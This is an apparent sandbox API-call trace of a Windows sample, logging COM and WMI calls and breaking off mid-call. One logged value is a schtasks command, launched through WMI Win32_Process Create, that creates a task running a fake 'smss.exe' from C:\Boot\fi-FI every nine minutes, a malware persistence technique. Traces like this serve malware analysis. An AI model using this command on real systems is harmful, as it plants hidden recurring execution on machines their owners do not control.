[0073.899] IWbemClassObject:SpawnInstance (in: This=0x11ed1d0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf1ca90) returned 0x0 [0073.900] IWbemClassObject:Get (in: This=0x1bf1ca90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d408*=0, plFlavor=0x2a0d40c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d408*=8, plFlavor=0x2a0d40c*=32) returned 0x0 [0073.900] IWbemClassObject:Get (in: This=0x1bf1ca90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d408*=8, plFlavor=0x2a0d40c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d408*=8, plFlavor=0x2a0d40c*=32) returned 0x0 [0073.900] IWbemClassObject:Put (This=0x1bf1ca90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"smsss\" /sc MINUTE /mo 9 /tr \"'C:\\Boot\\fi-FI\\smss.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0073.901] IWbemClassObject:Get (in: This=0x1bf1ca90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d4b0*=0, plFlavor=0x2a0d4b4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d4b0*=13, plFlavor=0x2a0d4b4*=32) returned 0x0 [0073.901] IWbemClassObject:Get (in: This=0x1bf1ca90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d4b0*=13, plFlavor=0x2a0d4b4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d4b0*=13, plFlavor=0x2a0d4b4*=32) returned 0x0 [0073.901] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x11ec780) returned 0x0 [0073.901] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0073.901] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0073.902] IUnknown:AddRef (This=0x11ec780) returned 0x3 [0073.902] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0073.902] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0073.902] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x11ec788) returned 0x0 [0073.902] IMarshal:GetUnmarshalClass (in: This=0x11ec788, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0073.902] IUnknown:Release (This=0x11ec788) returned 0x3 [0073.902] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0073.902] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0073.902] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0073.902] IUnknown:Release (This=0x11ec780) returned 0x2 [0073.903] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0073.903] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0073.903] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0073.903] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0073.903] IUnknown:QueryInterface (in: This=0x11ec780, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0073.903] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0073.903] IUnknown:AddRef (This=0x11ec780) returned 0x3 [0073.903] IWbemClassObject:Put (This=0x1bf1ca90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11ec780, varVal2=0x0), Type=0) returned 0x0 [0073.903] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169740, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0073.903] WbemDefPath:IWbemPath:GetText (in: This=0x1169740, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0073.903] WbemDefPath:IWbemPath:GetText (in: This=0x1169740, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0073.903] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0073.903] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0073.903] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.903] WbemDefPath:IWbemPath:GetText (in: This=0x1169740, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0073.903] WbemDefPath:IWbemPath:GetText (in: This=0x1169740, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0073.904] IWbemServices:ExecMethod (in: This=0x11db0a0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf1ca90, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6a720, ppCallResult=0x0) returned 0x0 [0074.149] IWbemClassObject:Get (in: This=0x1bf6a720, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d7c8*=0, plFlavor=0x2a0d7cc*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x64, varVal2=0x0), pType=0x2a0d7c8*=19, plFlavor=0x2a0d7cc*=0) returned 0x0 [0074.149] IWbemClassObject:Get (in: This=0x1bf6a720, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a0d7c8*=19, plFlavor=0x2a0d7cc*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x64, varVal2=0x0), pType=0x2a0d7c8*=19, plFlavor=0x2a0d7cc*=0) returned 0x0 [0074.149] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0074.149] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0074.150] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0074.150] IUnknown:Release (This=0x111f638) returned 0x1 [0074.151] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf638e0) returned 0x0 [0074.151] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf638e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0074.152] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf638e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x11692c0) returned 0x0 [0074.152] WbemDefPath:IUnknown:Release (This=0x1bf638e0) returned 0x0 [0074.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x11692c0) returned 0x0 [0074.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0074.152] WbemDefPath:IUnknown:AddRef (This=0x11692c0) returned 0x3 [0074.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0074.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0074.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf63920) returned 0x0 [0074.152] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf63920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.152] WbemDefPath:IUnknown:Release (This=0x1bf63920) returned 0x3 [0074.152] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0074.152] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0074.152] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0074.152] WbemDefPath:IUnknown:Release (This=0x11692c0) returned 0x2 [0074.152] WbemDefPath:IUnknown:Release (This=0x11692c0) returned 0x1 [0074.152] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0074.153] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0074.153] WbemDefPath:IUnknown:QueryInterface (in: This=0x11692c0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x11692c0) returned 0x0 [0074.153] WbemDefPath:IUnknown:AddRef (This=0x11692c0) returned 0x3 [0074.153] WbemDefPath:IUnknown:Release (This=0x11692c0) returned 0x2 [0074.153] WbemDefPath:IWbemPath:SetText (This=0x11692c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0074.153] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11692c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0074.153] WbemDefPath:IWbemPath:GetText (in: This=0x11692c0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0074.153] WbemDefPath:IWbemPath:GetText (in: This=0x11692c0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0074.153] WbemDefPath:IWbemPath:GetInfo (in: This=0x11692c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0074.153] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11692c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0074.153] WbemDefPath:IWbemPath:GetInfo (in: This=0x11692c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0074.153] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0074.153] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0074.153] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0074.153] IUnknown:Release (This=0x111f638) returned 0x1 [0074.155] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf63960) returned 0x0 [0074.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf63960, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0074.155] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf63960, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1169380) returned 0x0 [0074.155] WbemDefPath:IUnknown:Release (This=0x1bf63960) returned 0x0 [0074.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1169380) returned 0x0 [0074.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0074.156] WbemDefPath:IUnknown:AddRef (This=0x1169380) returned 0x3 [0074.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0074.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0074.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf639a0) returned 0x0 [0074.156] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf639a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.156] WbemDefPath:IUnknown:Release (This=0x1bf639a0) returned 0x3 [0074.156] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0074.156] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0074.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0074.156] WbemDefPath:IUnknown:Release (This=0x1169380) returned 0x2 [0074.156] WbemDefPath:IUnknown:Release (This=0x1169380) returned 0x1 [0074.156] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0074.156] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0074.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169380, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1169380) returned 0x0 [0074.156] WbemDefPath:IUnknown:AddRef (This=0x1169380) returned 0x3 [0074.156] WbemDefPath:IUnknown:Release (This=0x1169380) returned 0x2 [0074.156] WbemDefPath:IWbemPath:SetText (This=0x1169380, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0074.156] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169380, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0074.156] WbemDefPath:IWbemPath:GetText (in: This=0x1169380, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0074.156] WbemDefPath:IWbemPath:GetText (in: This=0x1169380, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0074.156] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169380, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0074.156] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169380, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0074.156] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169380, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0074.156] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169380, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0074.157] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0074.157] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0074.157] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.157] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0074.157] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0074.157] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0074.157] IUnknown:Release (This=0x111f638) returned 0x1 [0074.158] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf639e0) returned 0x0 [0074.158] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf639e0, 